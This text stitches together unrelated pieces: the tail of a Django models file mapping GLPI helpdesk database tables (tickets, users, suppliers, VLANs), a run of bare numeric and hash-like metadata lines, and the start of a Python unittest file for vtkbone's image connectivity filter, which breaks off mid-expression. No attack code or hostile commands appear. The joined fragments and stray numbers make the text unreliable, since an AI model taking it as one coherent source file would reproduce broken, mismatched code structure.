models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_solutiontemplates' class GlpiSolutiontypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_solutiontypes' class GlpiSsovariables(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_ssovariables' class GlpiStates(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() comment = models.TextField(blank=True, null=True) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) completename = models.TextField(blank=True, null=True) level = models.IntegerField() ancestors_cache = models.TextField(blank=True, null=True) sons_cache = models.TextField(blank=True, null=True) is_visible_computer = models.IntegerField() is_visible_monitor = models.IntegerField() is_visible_networkequipment = models.IntegerField() is_visible_peripheral = models.IntegerField() is_visible_phone = models.IntegerField() is_visible_printer = models.IntegerField() is_visible_softwareversion = models.IntegerField() is_visible_softwarelicense = models.IntegerField() is_visible_line = models.IntegerField() is_visible_certificate = models.IntegerField() is_visible_rack = models.IntegerField() is_visible_passivedcequipment = models.IntegerField() is_visible_enclosure = models.IntegerField() is_visible_pdu = models.IntegerField() is_visible_cluster = models.IntegerField() is_visible_contract = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_states' unique_together = ('states', 'name') class GlpiSuppliers(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) suppliertypes = models.ForeignKey('GlpiSuppliertypes', on_delete=models.PROTECT) address = models.TextField(blank=True, null=True) postcode = models.CharField(max_length=255, blank=True, null=True) town = models.CharField(max_length=255, blank=True, null=True) state = models.CharField(max_length=255, blank=True, null=True) country = models.CharField(max_length=255, blank=True, null=True) website = models.CharField(max_length=255, blank=True, null=True) phonenumber = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) is_deleted = models.IntegerField() fax = models.CharField(max_length=255, blank=True, null=True) email = models.CharField(max_length=255, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) is_active = models.IntegerField() class Meta: managed = False db_table = 'glpi_suppliers' class GlpiSuppliersTickets(models.Model): id = models.IntegerField(primary_key=True) tickets = models.ForeignKey('GlpiTickets', on_delete=models.PROTECT) suppliers = models.ForeignKey('GlpiSuppliers', on_delete=models.PROTECT) type = models.IntegerField() use_notification = models.IntegerField() alternative_email = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_suppliers_tickets' unique_together = ('tickets', 'type', 'suppliers') class GlpiSuppliertypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_suppliertypes' class GlpiTaskcategories(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() taskcategories = models.ForeignKey('GlpiTaskcategories', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) completename = models.TextField(blank=True, null=True) comment = models.TextField(blank=True, null=True) level = models.IntegerField() ancestors_cache = models.TextField(blank=True, null=True) sons_cache = models.TextField(blank=True, null=True) is_active = models.IntegerField() is_helpdeskvisible = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) knowbaseitemcategories = models.ForeignKey('GlpiKnowbaseitemcategories', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_taskcategories' class GlpiTasktemplates(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) content = models.TextField(blank=True, null=True) taskcategories = models.ForeignKey('GlpiTaskcategories', on_delete=models.PROTECT) actiontime = models.IntegerField() comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) state = models.IntegerField() is_private = models.IntegerField() users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() class Meta: managed = False db_table = 'glpi_tasktemplates' class GlpiTicketcosts(models.Model): id = models.IntegerField(primary_key=True) tickets = models.ForeignKey('GlpiTickets', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) begin_date = models.DateField(blank=True, null=True) end_date = models.DateField(blank=True, null=True) actiontime = models.IntegerField() cost_time = models.DecimalField(max_digits=20, decimal_places=4) cost_fixed = models.DecimalField(max_digits=20, decimal_places=4) cost_material = models.DecimalField(max_digits=20, decimal_places=4) budgets = models.ForeignKey('GlpiBudgets', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_ticketcosts' class GlpiTicketrecurrents(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() is_active = models.IntegerField() tickettemplates = models.ForeignKey('GlpiTickettemplates', on_delete=models.PROTECT) begin_date = models.DateTimeField(blank=True, null=True) periodicity = models.CharField(max_length=255, blank=True, null=True) create_before = models.IntegerField() next_creation_date = models.DateTimeField(blank=True, null=True) calendars = models.ForeignKey('GlpiCalendars', on_delete=models.PROTECT) end_date = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_ticketrecurrents' class GlpiTickets(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) name = models.CharField(max_length=255, blank=True, null=True) date = models.DateTimeField(blank=True, null=True) closedate = models.DateTimeField(blank=True, null=True) solvedate = models.DateTimeField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) users_id_lastupdater = models.IntegerField() status = models.IntegerField() users_id_recipient = models.IntegerField() requesttypes = models.ForeignKey('GlpiRequesttypes', on_delete=models.PROTECT) content = models.TextField(blank=True, null=True) urgency = models.IntegerField() impact = models.IntegerField() priority = models.IntegerField() itilcategories = models.ForeignKey('GlpiItilcategories', on_delete=models.PROTECT) type = models.IntegerField() global_validation = models.IntegerField() slas_id_ttr = models.IntegerField() slas_id_tto = models.IntegerField() slalevels_id_ttr = models.IntegerField() time_to_resolve = models.DateTimeField(blank=True, null=True) time_to_own = models.DateTimeField(blank=True, null=True) begin_waiting_date = models.DateTimeField(blank=True, null=True) sla_waiting_duration = models.IntegerField() ola_waiting_duration = models.IntegerField() olas_id_tto = models.IntegerField() olas_id_ttr = models.IntegerField() olalevels_id_ttr = models.IntegerField() ola_ttr_begin_date = models.DateTimeField(blank=True, null=True) internal_time_to_resolve = models.DateTimeField(blank=True, null=True) internal_time_to_own = models.DateTimeField(blank=True, null=True) waiting_duration = models.IntegerField() close_delay_stat = models.IntegerField() solve_delay_stat = models.IntegerField() takeintoaccount_delay_stat = models.IntegerField() actiontime = models.IntegerField() is_deleted = models.IntegerField() locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) validation_percent = models.IntegerField() date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_tickets' class GlpiTicketsTickets(models.Model): id = models.IntegerField(primary_key=True) tickets_id_1 = models.IntegerField() tickets_id_2 = models.IntegerField() link = models.IntegerField() class Meta: managed = False db_table = 'glpi_tickets_tickets' unique_together = (('tickets_id_1', 'tickets_id_2'),) class GlpiTicketsUsers(models.Model): id = models.IntegerField(primary_key=True) tickets = models.ForeignKey('GlpiTickets', on_delete=models.PROTECT) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) type = models.IntegerField() use_notification = models.IntegerField() alternative_email = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_tickets_users' unique_together = ('tickets', 'type', 'users', 'alternative_email') class GlpiTicketsatisfactions(models.Model): id = models.IntegerField(primary_key=True) tickets = models.OneToOneField('GlpiTickets', on_delete=models.PROTECT) type = models.IntegerField() date_begin = models.DateTimeField(blank=True, null=True) date_answered = models.DateTimeField(blank=True, null=True) satisfaction = models.IntegerField(blank=True, null=True) comment = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_ticketsatisfactions' class GlpiTickettasks(models.Model): id = models.IntegerField(primary_key=True) uuid = models.CharField(unique=True, max_length=255, blank=True, null=True) tickets = models.ForeignKey('GlpiTickets', on_delete=models.PROTECT) taskcategories = models.ForeignKey('GlpiTaskcategories', on_delete=models.PROTECT) date = models.DateTimeField(blank=True, null=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) users_id_editor = models.IntegerField() content = models.TextField(blank=True, null=True) is_private = models.IntegerField() actiontime = models.IntegerField() begin = models.DateTimeField(blank=True, null=True) end = models.DateTimeField(blank=True, null=True) state = models.IntegerField() users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) tasktemplates = models.ForeignKey('GlpiTasktemplates', on_delete=models.PROTECT) timeline_position = models.IntegerField() sourceitems_id = models.IntegerField() class Meta: managed = False db_table = 'glpi_tickettasks' class GlpiTickettemplatehiddenfields(models.Model): id = models.IntegerField(primary_key=True) tickettemplates = models.ForeignKey('GlpiTickettemplates', on_delete=models.PROTECT) num = models.IntegerField() class Meta: managed = False db_table = 'glpi_tickettemplatehiddenfields' unique_together = ('tickettemplates', 'num') class GlpiTickettemplatemandatoryfields(models.Model): id = models.IntegerField(primary_key=True) tickettemplates = models.ForeignKey('GlpiTickettemplates', on_delete=models.PROTECT) num = models.IntegerField() class Meta: managed = False db_table = 'glpi_tickettemplatemandatoryfields' unique_together = ('tickettemplates', 'num') class GlpiTickettemplatepredefinedfields(models.Model): id = models.IntegerField(primary_key=True) tickettemplates = models.ForeignKey('GlpiTickettemplates', on_delete=models.PROTECT) num = models.IntegerField() value = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_tickettemplatepredefinedfields' class GlpiTickettemplates(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() comment = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_tickettemplates' class GlpiTicketvalidations(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) tickets = models.ForeignKey('GlpiTickets', on_delete=models.PROTECT) users_id_validate = models.IntegerField() comment_submission = models.TextField(blank=True, null=True) comment_validation = models.TextField(blank=True, null=True) status = models.IntegerField() submission_date = models.DateTimeField(blank=True, null=True) validation_date = models.DateTimeField(blank=True, null=True) timeline_position = models.IntegerField() class Meta: managed = False db_table = 'glpi_ticketvalidations' class GlpiTransfers(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) keep_ticket = models.IntegerField() keep_networklink = models.IntegerField() keep_reservation = models.IntegerField() keep_history = models.IntegerField() keep_device = models.IntegerField() keep_infocom = models.IntegerField() keep_dc_monitor = models.IntegerField() clean_dc_monitor = models.IntegerField() keep_dc_phone = models.IntegerField() clean_dc_phone = models.IntegerField() keep_dc_peripheral = models.IntegerField() clean_dc_peripheral = models.IntegerField() keep_dc_printer = models.IntegerField() clean_dc_printer = models.IntegerField() keep_supplier = models.IntegerField() clean_supplier = models.IntegerField() keep_contact = models.IntegerField() clean_contact = models.IntegerField() keep_contract = models.IntegerField() clean_contract = models.IntegerField() keep_software = models.IntegerField() clean_software = models.IntegerField() keep_document = models.IntegerField() clean_document = models.IntegerField() keep_cartridgeitem = models.IntegerField() clean_cartridgeitem = models.IntegerField() keep_cartridge = models.IntegerField() keep_consumable = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) comment = models.TextField(blank=True, null=True) keep_disk = models.IntegerField() class Meta: managed = False db_table = 'glpi_transfers' class GlpiUsercategories(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_usercategories' class GlpiUseremails(models.Model): id = models.IntegerField(primary_key=True) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) is_default = models.IntegerField() is_dynamic = models.IntegerField() email = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_useremails' unique_together = ('users', 'email') class GlpiUsers(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) password = models.CharField(max_length=255, blank=True, null=True) password_last_update = models.DateTimeField(blank=True, null=True) phone = models.CharField(max_length=255, blank=True, null=True) phone2 = models.CharField(max_length=255, blank=True, null=True) mobile = models.CharField(max_length=255, blank=True, null=True) realname = models.CharField(max_length=255, blank=True, null=True) firstname = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) language = models.CharField(max_length=10, blank=True, null=True) use_mode = models.IntegerField() list_limit = models.IntegerField(blank=True, null=True) is_active = models.IntegerField() comment = models.TextField(blank=True, null=True) auths_id = models.IntegerField() authtype = models.IntegerField() last_login = models.DateTimeField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_sync = models.DateTimeField(blank=True, null=True) is_deleted = models.IntegerField() profiles = models.ForeignKey('GlpiProfiles', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) usertitles = models.ForeignKey('GlpiUsertitles', on_delete=models.PROTECT) usercategories = models.ForeignKey('GlpiUsercategories', on_delete=models.PROTECT) date_format = models.IntegerField(blank=True, null=True) number_format = models.IntegerField(blank=True, null=True) names_format = models.IntegerField(blank=True, null=True) csv_delimiter = models.CharField(max_length=1, blank=True, null=True) is_ids_visible = models.IntegerField(blank=True, null=True) use_flat_dropdowntree = models.IntegerField(blank=True, null=True) show_jobs_at_login = models.IntegerField(blank=True, null=True) priority_1 = models.CharField(max_length=20, blank=True, null=True) priority_2 = models.CharField(max_length=20, blank=True, null=True) priority_3 = models.CharField(max_length=20, blank=True, null=True) priority_4 = models.CharField(max_length=20, blank=True, null=True) priority_5 = models.CharField(max_length=20, blank=True, null=True) priority_6 = models.CharField(max_length=20, blank=True, null=True) followup_private = models.IntegerField(blank=True, null=True) task_private = models.IntegerField(blank=True, null=True) default_requesttypes_id = models.IntegerField(blank=True, null=True) password_forget_token = models.CharField(max_length=40, blank=True, null=True) password_forget_token_date = models.DateTimeField(blank=True, null=True) user_dn = models.TextField(blank=True, null=True) registration_number = models.CharField(max_length=255, blank=True, null=True) show_count_on_tabs = models.IntegerField(blank=True, null=True) refresh_views = models.IntegerField(blank=True, null=True) set_default_tech = models.IntegerField(blank=True, null=True) personal_token = models.CharField(max_length=255, blank=True, null=True) personal_token_date = models.DateTimeField(blank=True, null=True) api_token = models.CharField(max_length=255, blank=True, null=True) api_token_date = models.DateTimeField(blank=True, null=True) cookie_token = models.CharField(max_length=255, blank=True, null=True) cookie_token_date = models.DateTimeField(blank=True, null=True) display_count_on_home = models.IntegerField(blank=True, null=True) notification_to_myself = models.IntegerField(blank=True, null=True) duedateok_color = models.CharField(max_length=255, blank=True, null=True) duedatewarning_color = models.CharField(max_length=255, blank=True, null=True) duedatecritical_color = models.CharField(max_length=255, blank=True, null=True) duedatewarning_less = models.IntegerField(blank=True, null=True) duedatecritical_less = models.IntegerField(blank=True, null=True) duedatewarning_unit = models.CharField(max_length=255, blank=True, null=True) duedatecritical_unit = models.CharField(max_length=255, blank=True, null=True) display_options = models.TextField(blank=True, null=True) is_deleted_ldap = models.IntegerField() pdffont = models.CharField(max_length=255, blank=True, null=True) picture = models.CharField(max_length=255, blank=True, null=True) begin_date = models.DateTimeField(blank=True, null=True) end_date = models.DateTimeField(blank=True, null=True) keep_devices_when_purging_item = models.IntegerField(blank=True, null=True) privatebookmarkorder = models.TextField(blank=True, null=True) backcreated = models.IntegerField(blank=True, null=True) task_state = models.IntegerField(blank=True, null=True) layout = models.CharField(max_length=20, blank=True, null=True) palette = models.CharField(max_length=20, blank=True, null=True) set_default_requester = models.IntegerField(blank=True, null=True) lock_autolock_mode = models.IntegerField(blank=True, null=True) lock_directunlock_notification = models.IntegerField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) highcontrast_css = models.IntegerField(blank=True, null=True) plannings = models.TextField(blank=True, null=True) sync_field = models.CharField(max_length=255, blank=True, null=True) groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) users_id_supervisor = models.IntegerField() timezone = models.CharField(max_length=50, blank=True, null=True) default_dashboard_central = models.CharField(max_length=100, blank=True, null=True) default_dashboard_assets = models.CharField(max_length=100, blank=True, null=True) default_dashboard_helpdesk = models.CharField(max_length=100, blank=True, null=True) default_dashboard_mini_ticket = models.CharField(max_length=100, blank=True, null=True) class Meta: managed = False db_table = 'glpi_users' unique_together = ('name', 'authtype', 'auths_id') def __str__(self): return self.name class GlpiUsertitles(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_usertitles' class GlpiVirtualmachinestates(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255) comment = models.TextField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_virtualmachinestates' class GlpiVirtualmachinesystems(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255) comment = models.TextField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_virtualmachinesystems' class GlpiVirtualmachinetypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255) comment = models.TextField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_virtualmachinetypes' class GlpiVlans(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) tag = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_vlans' class GlpiVobjects(models.Model): id = models.IntegerField(primary_key=True) itemtype = models.CharField(max_length=100, blank=True, null=True) items_id = models.IntegerField() data = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_vobjects' unique_together = (('itemtype', 'items_id'),) class GlpiWifinetworks(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) essid = models.CharField(max_length=255, blank=True, null=True) mode = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_wifinetworks'
42.349666
167
0.737467
32,965
285,225
6.226331
0.042864
0.071035
0.102543
0.134094
0.829438
0.819226
0.805078
0.788084
0.765443
0.743105
0
0.010027
0.155968
285,225
6,734
168
42.355955
0.84256
0.003443
0
0.695181
1
0
0.07356
0.028299
0
0
0
0
0
1
0.00018
false
0.002707
0.000541
0.00018
0.842989
0.002346
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
8
fb02750f534e09ce6e738f5726dc101da832f19c
13,775
py
Python
Testing/Python/TestImageConnectivityFilter.py
Numerics88/vtkbone
5a6ab2870679e9e7ea51926c34911607b9d85235
[ "MIT" ]
3
2017-04-04T04:59:22.000Z
2022-03-13T11:22:40.000Z
Testing/Python/TestImageConnectivityFilter.py
Numerics88/vtkbone
5a6ab2870679e9e7ea51926c34911607b9d85235
[ "MIT" ]
5
2017-04-06T19:46:39.000Z
2019-12-11T23:41:41.000Z
Testing/Python/TestImageConnectivityFilter.py
Numerics88/vtkbone
5a6ab2870679e9e7ea51926c34911607b9d85235
[ "MIT" ]
2
2017-04-29T20:54:57.000Z
2017-04-29T22:28:10.000Z
from __future__ import division import sys import numpy from numpy.core import * import vtk from vtk.util.numpy_support import vtk_to_numpy, numpy_to_vtk import vtkbone import traceback import unittest def generate_test_image(): regions = [] # regions[0] has volume 60 regions.append (zeros((20,20,20), int)) regions[0][9:12,13:18,10:14] = 42 # region[1] has volume 36 regions.append (zeros((20,20,20), int)) regions[1][2:5,14:17,2:6] = 142 # regions[2] has volume 8 regions.append (zeros((20,20,20), int)) regions[2][16:18,10:12,10:12] = 33 # regions[3] has volume 1 regions.append (zeros((20,20,20), int)) regions[3][17,4,8] = 1 input_image = vtk.vtkImageData() input_image.SetDimensions (20,20,20) input_image.SetOrigin (0.2,-1.0,1.5) input_image.SetSpacing (2,4,5.5) input_image.AllocateScalars (vtk.VTK_INT, 1) input_data_vtk = input_image.GetPointData().GetScalars() input_data = vtk_to_numpy (input_data_vtk) input_data.resize((20,20,20)) input_data[:,:,:] = 0 for r in regions: input_data += r return regions, input_image class TestImageConnectivityFilter (unittest.TestCase): def test_data_on_points(self): input_image = vtk.vtkImageData() input_image.SetDimensions (3,3,3) input_image.SetOrigin (0.2,-1.0,1.5) input_image.SetSpacing (2,4,5.5) input_image.AllocateScalars (vtk.VTK_SHORT, 1) input_data_vtk = input_image.GetPointData().GetScalars() filter = vtkbone.vtkboneImageConnectivityFilter() filter.SetInputData (input_image) filter.Update() output_image = filter.GetOutput() self.assertEqual(output_image.GetExtent(), input_image.GetExtent()) self.assertEqual(output_image.GetOrigin(), input_image.GetOrigin()) self.assertEqual(output_image.GetSpacing(), input_image.GetSpacing()) output_data_vtk = output_image.GetPointData().GetScalars() self.assertEqual(output_data_vtk.GetDataType(), input_data_vtk.GetDataType()) self.assertEqual(output_data_vtk.GetNumberOfTuples(), 27) def test_data_on_cells(self): input_image = vtk.vtkImageData() input_image.SetDimensions (3,3,3) input_image.SetOrigin (0.2,-1.0,1.5) input_image.SetSpacing (2,4,5.5) input_data_vtk = vtk.vtkShortArray() input_data_vtk.SetNumberOfTuples(8) input_image.GetCellData().SetScalars (input_data_vtk) filter = vtkbone.vtkboneImageConnectivityFilter() filter.SetInputData (input_image) filter.Update() output_image = filter.GetOutput() self.assertEqual(output_image.GetExtent(), input_image.GetExtent()) self.assertEqual(output_image.GetOrigin(), input_image.GetOrigin()) self.assertEqual(output_image.GetSpacing(), input_image.GetSpacing()) output_data_vtk = output_image.GetCellData().GetScalars() self.assertEqual(output_data_vtk.GetDataType(), input_data_vtk.GetDataType()) self.assertEqual(output_data_vtk.GetNumberOfTuples(), 8) def test_blank(self): input_image = vtk.vtkImageData() input_image.SetDimensions (3,3,3) input_image.SetOrigin (0.2,-1.0,1.5) input_image.SetSpacing (2,4,5.5) input_image.AllocateScalars (vtk.VTK_SHORT, 1) input_data_vtk = input_image.GetPointData().GetScalars() input_data = vtk_to_numpy (input_data_vtk) input_data.resize((3,3,3)) input_data[:,:,:] = 0 filter = vtkbone.vtkboneImageConnectivityFilter() filter.SetInputData (input_image) filter.Update() output_image = filter.GetOutput() self.assertEqual(output_image.GetDimensions(), (3,3,3)) output_data_vtk = output_image.GetPointData().GetScalars() self.assertEqual(output_data_vtk.GetNumberOfTuples(), 27) output_data = vtk_to_numpy (output_data_vtk) self.assertTrue (alltrue (output_data == 0)) def test_solid(self): input_image = vtk.vtkImageData() input_image.SetDimensions (3,3,3) input_image.SetOrigin (0.2,-1.0,1.5) input_image.SetSpacing (2,4,5.5) input_image.AllocateScalars (vtk.VTK_SHORT, 1) input_data_vtk = input_image.GetPointData().GetScalars() input_data = vtk_to_numpy (input_data_vtk) input_data.resize((3,3,3)) input_data[:,:,:] = 42 input_data[1,:,:] = 142 input_data[:,2,:] = 242 input_data[:,:,0] = 342 filter = vtkbone.vtkboneImageConnectivityFilter() filter.SetInputData (input_image) filter.Update() output_image = filter.GetOutput() self.assertEqual(output_image.GetDimensions(), (3,3,3)) output_data_vtk = output_image.GetPointData().GetScalars() self.assertEqual(output_data_vtk.GetNumberOfTuples(), 27) output_data = vtk_to_numpy (output_data_vtk) output_data.resize (output_image.GetDimensions()) self.assertTrue (alltrue (output_data == input_data)) def test_largest_region(self): regions, input_image = generate_test_image() filter = vtkbone.vtkboneImageConnectivityFilter() filter.SetInputData (input_image) filter.Update() self.assertEqual(filter.GetNumberOfExtractedRegions(), 1) output_image = filter.GetOutput() output_data_vtk = output_image.GetPointData().GetScalars() output_data = vtk_to_numpy (output_data_vtk) output_data.resize(output_image.GetDimensions()) self.assertTrue (alltrue (output_data == regions[0])) def test_all_regions(self): regions, input_image = generate_test_image() filter = vtkbone.vtkboneImageConnectivityFilter() filter.SetInputData (input_image) filter.SetExtractionMode (vtkbone.vtkboneImageConnectivityFilter.EXTRACT_ALL_REGIONS) filter.Update() self.assertEqual(filter.GetNumberOfExtractedRegions(), 4) output_image = filter.GetOutput() output_data_vtk = output_image.GetPointData().GetScalars() output_data = vtk_to_numpy (output_data_vtk) output_data.resize(output_image.GetDimensions()) self.assertTrue (alltrue (output_data == regions[0] + regions[1] + regions[2] + regions[3])) def test_minimum_size_1(self): regions, input_image = generate_test_image() filter = vtkbone.vtkboneImageConnectivityFilter() filter.SetInputData (input_image) filter.SetExtractionMode (vtkbone.vtkboneImageConnectivityFilter.EXTRACT_REGIONS_OF_SPECIFIED_SIZE) filter.Update() self.assertEqual(filter.GetNumberOfExtractedRegions(), 4) output_image = filter.GetOutput() output_data_vtk = output_image.GetPointData().GetScalars() output_data = vtk_to_numpy (output_data_vtk) output_data.resize(output_image.GetDimensions()) self.assertTrue (alltrue (output_data == regions[0] + regions[1] + regions[2] + regions[3])) def test_minimum_size_36(self): regions, input_image = generate_test_image() filter = vtkbone.vtkboneImageConnectivityFilter() filter.SetInputData (input_image) filter.SetExtractionMode (vtkbone.vtkboneImageConnectivityFilter.EXTRACT_REGIONS_OF_SPECIFIED_SIZE) filter.SetMinimumRegionSize (36) filter.Update() self.assertEqual(filter.GetNumberOfExtractedRegions(), 2) output_image = filter.GetOutput() output_data_vtk = output_image.GetPointData().GetScalars() output_data = vtk_to_numpy (output_data_vtk) output_data.resize(output_image.GetDimensions()) self.assertTrue (alltrue (output_data == regions[0] + regions[1])) def test_minimum_size_1000(self): regions, input_image = generate_test_image() filter = vtkbone.vtkboneImageConnectivityFilter() filter.SetInputData (input_image) filter.SetExtractionMode (vtkbone.vtkboneImageConnectivityFilter.EXTRACT_REGIONS_OF_SPECIFIED_SIZE) filter.SetMinimumRegionSize (1000) filter.Update() self.assertEqual(filter.GetNumberOfExtractedRegions(), 0) output_image = filter.GetOutput() output_data_vtk = output_image.GetPointData().GetScalars() output_data = vtk_to_numpy (output_data_vtk) self.assertTrue (alltrue (output_data == 0)) def test_closest_point_origin(self): regions, input_image = generate_test_image() filter = vtkbone.vtkboneImageConnectivityFilter() filter.SetInputData (input_image) filter.SetExtractionMode (vtkbone.vtkboneImageConnectivityFilter.EXTRACT_CLOSEST_POINT_REGION) filter.Update() self.assertEqual(filter.GetNumberOfExtractedRegions(), 1) output_image = filter.GetOutput() output_data_vtk = output_image.GetPointData().GetScalars() output_data = vtk_to_numpy (output_data_vtk) output_data.resize(output_image.GetDimensions()) self.assertTrue (alltrue (output_data == regions[1])) def test_closest_point_far_corner(self): regions, input_image = generate_test_image() filter = vtkbone.vtkboneImageConnectivityFilter() filter.SetInputData (input_image) filter.SetExtractionMode (vtkbone.vtkboneImageConnectivityFilter.EXTRACT_CLOSEST_POINT_REGION) coord = array ((19.5,19.5,19.5)) origin = array ((0.2,-1.0,1.5)) spacing = array ((2,4,5.5)) filter.SetClosestPoint (origin + (coord + 0.5) * spacing); filter.Update() self.assertEqual(filter.GetNumberOfExtractedRegions(), 1) output_image = filter.GetOutput() output_data_vtk = output_image.GetPointData().GetScalars() output_data = vtk_to_numpy (output_data_vtk) output_data.resize(output_image.GetDimensions()) self.assertTrue (alltrue (output_data == regions[2])) def test_closest_point_in_region_2(self): regions, input_image = generate_test_image() filter = vtkbone.vtkboneImageConnectivityFilter() filter.SetInputData (input_image) filter.SetExtractionMode (vtkbone.vtkboneImageConnectivityFilter.EXTRACT_CLOSEST_POINT_REGION) coord = array ((11,11,17)) origin = array ((0.2,-1.0,1.5)) spacing = array ((2,4,5.5)) filter.SetClosestPoint (origin + (coord + 0.5) * 